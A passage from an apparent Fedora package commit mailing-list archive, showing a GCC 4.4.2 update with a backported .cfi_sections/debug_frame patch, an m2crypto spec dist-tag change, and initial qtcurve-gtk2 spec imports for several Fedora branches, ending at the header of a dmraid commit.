2009-10-13  Mikael Pettersson  <mikpe at it.uu.se>

	Backport from mainline:
	2009-10-02  Jakub Jelinek  <jakub at redhat.com>

	PR debug/40521
	* configure.ac (HAVE_GAS_CFI_SECTIONS_DIRECTIVE): New test.
	* configure: Regenerated.
	* config.in: Regenerated.
	* dwarf2out.c (dwarf2out_do_cfi_asm): Return false if
	!HAVE_GAS_CFI_SECTIONS_DIRECTIVE and not emitting .eh_frame.
	(dwarf2out_init): If HAVE_GAS_CFI_SECTIONS_DIRECTIVE and
	not emitting .eh_frame, emit .cfi_sections .debug_frame
	directive.

	2009-10-09  Jakub Jelinek  <jakub at redhat.com>

	PR debug/40521
	* dwarf2out.c (dwarf2out_init): Test whether
	HAVE_GAS_CFI_SECTIONS_DIRECTIVE is non-zero instead of checking
	it is defined.

--- gcc/configure.ac	2009-03-24 18:46:03.000000000 +0100
+++ gcc/configure.ac	2009-10-13 12:00:31.000000000 +0200
@@ -2297,6 +2297,17 @@ AC_DEFINE_UNQUOTED(HAVE_GAS_CFI_PERSONAL
     then echo 1; else echo 0; fi`],
   [Define 0/1 if your assembler supports .cfi_personality.])
 
+gcc_GAS_CHECK_FEATURE([cfi sections directive],
+  gcc_cv_as_cfi_sections_directive, ,,
+[	.text
+	.cfi_sections .debug_frame, .eh_frame
+	.cfi_startproc
+	.cfi_endproc])
+AC_DEFINE_UNQUOTED(HAVE_GAS_CFI_SECTIONS_DIRECTIVE,
+  [`if test $gcc_cv_as_cfi_sections_directive = yes;
+    then echo 1; else echo 0; fi`],
+  [Define 0/1 if your assembler supports .cfi_sections.])
+
 # GAS versions up to and including 2.11.0 may mis-optimize
 # .eh_frame data.
 gcc_GAS_CHECK_FEATURE(eh_frame optimization, gcc_cv_as_eh_frame,
--- gcc/config.in	2009-07-22 09:43:59.000000000 +0200
+++ gcc/config.in	2009-10-13 12:00:31.000000000 +0200
@@ -839,6 +839,12 @@
 #endif
 
 
+/* Define 0/1 if your assembler supports .cfi_sections. */
+#ifndef USED_FOR_TARGET
+#undef HAVE_GAS_CFI_SECTIONS_DIRECTIVE
+#endif
+
+
 /* Define if your assembler uses the new HImode fild and fist notation. */
 #ifndef USED_FOR_TARGET
 #undef HAVE_GAS_FILDS_FISTS
--- gcc/configure	2009-03-24 18:46:03.000000000 +0100
+++ gcc/configure	2009-10-13 12:00:31.000000000 +0200
@@ -21680,6 +21680,42 @@ cat >>confdefs.h <<_ACEOF
 _ACEOF
 
 
+echo "$as_me:$LINENO: checking assembler for cfi sections directive" >&5
+echo $ECHO_N "checking assembler for cfi sections directive... $ECHO_C" >&6
+if test "${gcc_cv_as_cfi_sections_directive+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  gcc_cv_as_cfi_sections_directive=no
+  if test x$gcc_cv_as != x; then
+    echo '	.text
+	.cfi_sections .debug_frame, .eh_frame
+	.cfi_startproc
+	.cfi_endproc' > conftest.s
+    if { ac_try='$gcc_cv_as  -o conftest.o conftest.s >&5'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }
+    then
+	gcc_cv_as_cfi_sections_directive=yes
+    else
+      echo "configure: failed program was" >&5
+      cat conftest.s >&5
+    fi
+    rm -f conftest.o conftest.s
+  fi
+fi
+echo "$as_me:$LINENO: result: $gcc_cv_as_cfi_sections_directive" >&5
+echo "${ECHO_T}$gcc_cv_as_cfi_sections_directive" >&6
+
+
+cat >>confdefs.h <<_ACEOF
+#define HAVE_GAS_CFI_SECTIONS_DIRECTIVE `if test $gcc_cv_as_cfi_sections_directive = yes;
+    then echo 1; else echo 0; fi`
+_ACEOF
+
+
 # GAS versions up to and including 2.11.0 may mis-optimize
 # .eh_frame data.
 echo "$as_me:$LINENO: checking assembler for eh_frame optimization" >&5
--- gcc/dwarf2out.c	2009-06-03 19:32:45.000000000 +0200
+++ gcc/dwarf2out.c	2009-10-13 12:00:39.000000000 +0200
@@ -145,7 +145,18 @@ dwarf2out_do_cfi_asm (void)
 #endif
   if (!flag_dwarf2_cfi_asm || !dwarf2out_do_frame ())
     return false;
-  if (saved_do_cfi_asm || !eh_personality_libfunc)
+  if (saved_do_cfi_asm)
+    return true;
+  if (!HAVE_GAS_CFI_SECTIONS_DIRECTIVE)
+    {
+#ifdef TARGET_UNWIND_INFO
+      return false;
+#else
+      if (USING_SJLJ_EXCEPTIONS || (!flag_unwind_tables && !flag_exceptions))
+	return false;
+#endif
+    }
+  if (!eh_personality_libfunc)
     return true;
   if (!HAVE_GAS_CFI_PERSONALITY_DIRECTIVE)
     return false;
@@ -16133,6 +16144,14 @@ dwarf2out_init (const char *filename ATT
       switch_to_section (cold_text_section);
       ASM_OUTPUT_LABEL (asm_out_file, cold_text_section_label);
     }
+
+  if (HAVE_GAS_CFI_SECTIONS_DIRECTIVE && dwarf2out_do_cfi_asm ())
+    {
+#ifndef TARGET_UNWIND_INFO
+      if (USING_SJLJ_EXCEPTIONS || (!flag_unwind_tables && !flag_exceptions))
+#endif
+	fprintf (asm_out_file, "\t.cfi_sections\t.debug_frame\n");
+    }
 }
 
 /* A helper function for dwarf2out_finish called through


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.300
retrieving revision 1.301
diff -u -p -r1.300 -r1.301
--- .cvsignore	14 Oct 2009 17:21:47 -0000	1.300
+++ .cvsignore	15 Oct 2009 18:53:25 -0000	1.301
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20091014.tar.bz2
+gcc-4.4.2-20091015.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- gcc.spec	14 Oct 2009 17:21:47 -0000	1.79
+++ gcc.spec	15 Oct 2009 18:53:25 -0000	1.80
@@ -1,9 +1,9 @@
-%global DATE 20091014
-%global SVNREV 152775
-%global gcc_version 4.4.1
+%global DATE 20091015
+%global SVNREV 152859
+%global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 22
+%global gcc_release 1
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -65,7 +65,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 # Need binutils which support mffgpr and mftgpr >= 2.17.50.0.2-8
 # Need binutils which support --build-id >= 2.17.50.0.17-3
 # Need binutils which support %gnu_unique_object >= 2.19.51.0.14
-BuildRequires: binutils >= 2.19.51.0.14
+# Need binutils which support .cfi_sections >= 2.19.51.0.14-33
+BuildRequires: binutils >= 2.19.51.0.14-33
 # While gcc doesn't include statically linked binaries, during testing
 # -static is used several times.
 BuildRequires: glibc-static
@@ -118,8 +119,9 @@ Requires: cpp = %{version}-%{release}
 # Need binutils that supports --hash-style=gnu
 # Need binutils that support mffgpr/mftgpr
 # Need binutils that support --build-id
-# Need binutils which support %gnu_unique_object
-Requires: binutils >= 2.19.51.0.14
+# Need binutils that support %gnu_unique_object
+# Need binutils that support .cfi_sections
+Requires: binutils >= 2.19.51.0.14-33
 # Make sure gdb will understand DW_FORM_strp
 Conflicts: gdb < 5.1-2
 Requires: glibc-devel >= 2.2.90-12
@@ -160,7 +162,7 @@ Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
-Patch20: gcc44-powerpc-with-tune.patch
+Patch20: gcc44-pr40521.patch
 Patch21: gcc44-unwind-leltgegt.patch
 
 Patch1000: fastjar-0.97-segfault.patch
@@ -468,7 +470,7 @@ which are required to compile with the G
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
-%patch20 -p0 -b .powerpc-with-tune~
+%patch20 -p0 -b .pr40521~
 %patch21 -p0 -b .unwind-leltgegt~
 
 # This testcase doesn't compile.
@@ -482,7 +484,7 @@ tar xzf %{SOURCE4}
 tar xjf %{SOURCE10}
 %endif
 
-sed -i -e 's/4\.4\.2/4.4.1/' gcc/BASE-VER
+sed -i -e 's/4\.4\.3/4.4.2/' gcc/BASE-VER
 echo 'Red Hat %{version}-%{gcc_release}' > gcc/DEV-PHASE
 
 # Default to -gdwarf-3 rather than -gdwarf-2
@@ -1844,6 +1846,15 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Thu Oct 15 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-1
+- update from gcc-4_4-branch
+  - GCC 4.4.2 release
+  - PRs middle-end/22072, target/41665
+- don't emit -Wpadded warnings for builtin structures
+- don't generate .eh_frame, but generate .debug_frame when -g and none of
+  -fasynchronous-unwind-tables/-fexceptions/-funwind-tables is used
+  (PR debug/40521)
+
 * Wed Oct 14 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-22
 - update from gcc-4_4-branch
   - PRs target/26515, target/38948


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.304
retrieving revision 1.305
diff -u -p -r1.304 -r1.305
--- sources	14 Oct 2009 17:21:47 -0000	1.304
+++ sources	15 Oct 2009 18:53:25 -0000	1.305
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-4da2bce5563b5a133ced09b9391773e9  gcc-4.4.1-20091014.tar.bz2
+4df111e31b39e6a0d37ed5cbe2ff97a3  gcc-4.4.2-20091015.tar.bz2


--- gcc44-powerpc-with-tune.patch DELETED ---



From mitr at fedoraproject.org  Thu Oct 15 19:01:43 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu, 15 Oct 2009 19:01:43 +0000 (UTC)
Subject: rpms/m2crypto/devel m2crypto.spec,1.59,1.60
Message-ID: <20091015190143.643D111C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/m2crypto/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15288

Modified Files:
	m2crypto.spec 
Log Message:
* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-2
- Add a dist tag.



Index: m2crypto.spec
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/devel/m2crypto.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- m2crypto.spec	7 Oct 2009 12:28:58 -0000	1.59
+++ m2crypto.spec	15 Oct 2009 19:01:42 -0000	1.60
@@ -6,7 +6,7 @@
 Summary: Support for using OpenSSL in python scripts
 Name: m2crypto
 Version: 0.20.2
-Release: 1
+Release: 2%{?dist}
 Source0: http://pypi.python.org/packages/source/M/M2Crypto/M2Crypto-%{version}.tar.gz
 # https://bugzilla.osafoundation.org/show_bug.cgi?id=2341
 Patch0: m2crypto-0.18-timeouts.patch
@@ -89,6 +89,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/M2Crypto-*.egg-info
 
 %changelog
+* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-2
+- Add a dist tag.
+
 * Wed Oct  7 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-1
 - Update to m2crypto-0.20.2
 - Drop BuildRoot: and cleaning it at start of %%install



From mitr at fedoraproject.org  Thu Oct 15 19:07:44 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu, 15 Oct 2009 19:07:44 +0000 (UTC)
Subject: rpms/m2crypto/F-12 .cvsignore, 1.13, 1.14 m2crypto.spec, 1.58,
	1.59 sources, 1.13, 1.14
Message-ID: <20091015190744.14E7211C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/m2crypto/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16813

Modified Files:
	.cvsignore m2crypto.spec sources 
Log Message:
* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-2
- Add a dist tag.

* Wed Oct  7 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-1
- Update to m2crypto-0.20.2
- Drop BuildRoot: and cleaning it at start of %%install



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	30 Aug 2009 14:31:50 -0000	1.13
+++ .cvsignore	15 Oct 2009 19:07:43 -0000	1.14
@@ -1 +1 @@
-M2Crypto-0.20.1.tar.gz
+M2Crypto-0.20.2.tar.gz


Index: m2crypto.spec
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/F-12/m2crypto.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- m2crypto.spec	30 Aug 2009 14:31:50 -0000	1.58
+++ m2crypto.spec	15 Oct 2009 19:07:43 -0000	1.59
@@ -5,8 +5,8 @@
 
 Summary: Support for using OpenSSL in python scripts
 Name: m2crypto
-Version: 0.20.1
-Release: 1
+Version: 0.20.2
+Release: 2%{?dist}
 Source0: http://pypi.python.org/packages/source/M/M2Crypto/M2Crypto-%{version}.tar.gz
 # https://bugzilla.osafoundation.org/show_bug.cgi?id=2341
 Patch0: m2crypto-0.18-timeouts.patch
@@ -17,7 +17,6 @@ Patch2: m2crypto-0.20.1-openssl1.patch
 License: MIT
 Group: System Environment/Libraries
 URL: http://wiki.osafoundation.org/bin/view/Projects/MeTooCrypto
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: openssl-devel, python-devel
 BuildRequires: perl, pkgconfig, swig
 Requires: python
@@ -62,8 +61,6 @@ fi
 SWIG_FEATURES=-cpperraswarn python setup.py build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-
 CFLAGS="$RPM_OPT_FLAGS" ; export CFLAGS
 if pkg-config openssl ; then
 	CFLAGS="$CFLAGS `pkg-config --cflags openssl`" ; export CFLAGS
@@ -92,6 +89,13 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/M2Crypto-*.egg-info
 
 %changelog
+* Thu Oct 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-2
+- Add a dist tag.
+
+* Wed Oct  7 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.2-1
+- Update to m2crypto-0.20.2
+- Drop BuildRoot: and cleaning it at start of %%install
+
 * Sun Aug 30 2009 Miloslav Trma? <mitr at redhat.com> - 0.20.1-1
 - Update to m2crypto-0.20.1
 - Add upstream patch to build with OpenSSL 1.0.0


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/m2crypto/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	30 Aug 2009 14:31:50 -0000	1.13
+++ sources	15 Oct 2009 19:07:43 -0000	1.14
@@ -1 +1 @@
-6a7420664310f424be4e63dfbe7e6e5f  M2Crypto-0.20.1.tar.gz
+6c24410410d6eb1920ea43f77a93613a  M2Crypto-0.20.2.tar.gz



From thomasj at fedoraproject.org  Thu Oct 15 19:08:48 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 19:08:48 +0000 (UTC)
Subject: rpms/qtcurve-gtk2/devel import.log, NONE, 1.1 qtcurve-gtk2.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015190848.249D711C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16551/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-gtk2.spec 
Log Message:
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-gtk2-0_69_0-1_fc10:HEAD:qtcurve-gtk2-0.69.0-1.fc10.src.rpm:1255633490


--- NEW FILE qtcurve-gtk2.spec ---
Name:		qtcurve-gtk2
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Gtk2 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-Gtk2-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	gtk2-devel
BuildRequires:	kdebase-workspace-devel

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-Gtk2-0.69.0

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README TODO
%{_libdir}/gtk-2.0/*/engines/libqtcurve.so
%{_datadir}/themes/QtCurve/


%changelog
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:55 -0000	1.1
+++ .cvsignore	15 Oct 2009 19:08:47 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-Gtk2-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:55 -0000	1.1
+++ sources	15 Oct 2009 19:08:48 -0000	1.2
@@ -0,0 +1 @@
+ce22fdf9b0e4e0352195f52a329c8848  QtCurve-Gtk2-0.69.0.tar.bz2



From thomasj at fedoraproject.org  Thu Oct 15 19:12:55 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 19:12:55 +0000 (UTC)
Subject: rpms/qtcurve-gtk2/F-12 import.log, NONE, 1.1 qtcurve-gtk2.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015191255.1555211C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18158/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-gtk2.spec 
Log Message:
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-gtk2-0_69_0-1_fc10:F-12:qtcurve-gtk2-0.69.0-1.fc10.src.rpm:1255633877


--- NEW FILE qtcurve-gtk2.spec ---
Name:		qtcurve-gtk2
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Gtk2 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-Gtk2-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	gtk2-devel
BuildRequires:	kdebase-workspace-devel

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-Gtk2-0.69.0

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README TODO
%{_libdir}/gtk-2.0/*/engines/libqtcurve.so
%{_datadir}/themes/QtCurve/


%changelog
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:55 -0000	1.1
+++ .cvsignore	15 Oct 2009 19:12:54 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-Gtk2-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:55 -0000	1.1
+++ sources	15 Oct 2009 19:12:54 -0000	1.2
@@ -0,0 +1 @@
+ce22fdf9b0e4e0352195f52a329c8848  QtCurve-Gtk2-0.69.0.tar.bz2



From thomasj at fedoraproject.org  Thu Oct 15 19:14:45 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 19:14:45 +0000 (UTC)
Subject: rpms/qtcurve-gtk2/F-11 import.log, NONE, 1.1 qtcurve-gtk2.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015191445.82EC611C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-gtk2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18593/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-gtk2.spec 
Log Message:
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-gtk2-0_69_0-1_fc10:F-11:qtcurve-gtk2-0.69.0-1.fc10.src.rpm:1255634022


--- NEW FILE qtcurve-gtk2.spec ---
Name:		qtcurve-gtk2
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Gtk2 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-Gtk2-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	gtk2-devel
BuildRequires:	kdebase-workspace-devel

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-Gtk2-0.69.0

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README TODO
%{_libdir}/gtk-2.0/*/engines/libqtcurve.so
%{_datadir}/themes/QtCurve/


%changelog
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:55 -0000	1.1
+++ .cvsignore	15 Oct 2009 19:14:43 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-Gtk2-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:55 -0000	1.1
+++ sources	15 Oct 2009 19:14:43 -0000	1.2
@@ -0,0 +1 @@
+ce22fdf9b0e4e0352195f52a329c8848  QtCurve-Gtk2-0.69.0.tar.bz2



From thomasj at fedoraproject.org  Thu Oct 15 19:17:01 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 19:17:01 +0000 (UTC)
Subject: rpms/qtcurve-gtk2/F-10 import.log, NONE, 1.1 qtcurve-gtk2.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015191701.D5F8311C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-gtk2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19618/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-gtk2.spec 
Log Message:
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-gtk2-0_69_0-1_fc10:F-10:qtcurve-gtk2-0.69.0-1.fc10.src.rpm:1255634137


--- NEW FILE qtcurve-gtk2.spec ---
Name:		qtcurve-gtk2
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Gtk2 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-Gtk2-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	gtk2-devel
BuildRequires:	kdebase-workspace-devel

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-Gtk2-0.69.0

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog README TODO
%{_libdir}/gtk-2.0/*/engines/libqtcurve.so
%{_datadir}/themes/QtCurve/


%changelog
* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated source to version 0.69.0
- Dropped unneeded buildrequires
- Dropped requires qtcurve-kde4
- removed post and postun
- removed _kde4 macros from files

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial RPM release 0.68.1-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:55 -0000	1.1
+++ .cvsignore	15 Oct 2009 19:17:01 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-Gtk2-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-gtk2/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:55 -0000	1.1
+++ sources	15 Oct 2009 19:17:01 -0000	1.2
@@ -0,0 +1 @@
+ce22fdf9b0e4e0352195f52a329c8848  QtCurve-Gtk2-0.69.0.tar.bz2



From mauelsha at fedoraproject.org  Thu Oct 15 19:30:08 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Thu, 15 Oct 2009 19:30:08 +0000 (UTC)
Subject: rpms/dmraid/devel dmraid.spec,1.107,1.108 sources,1.26,1.27
Message-ID: <20091015193008.AC26011C02A2@cvs1.fedora.phx.redhat.com>

Author: mauelsha

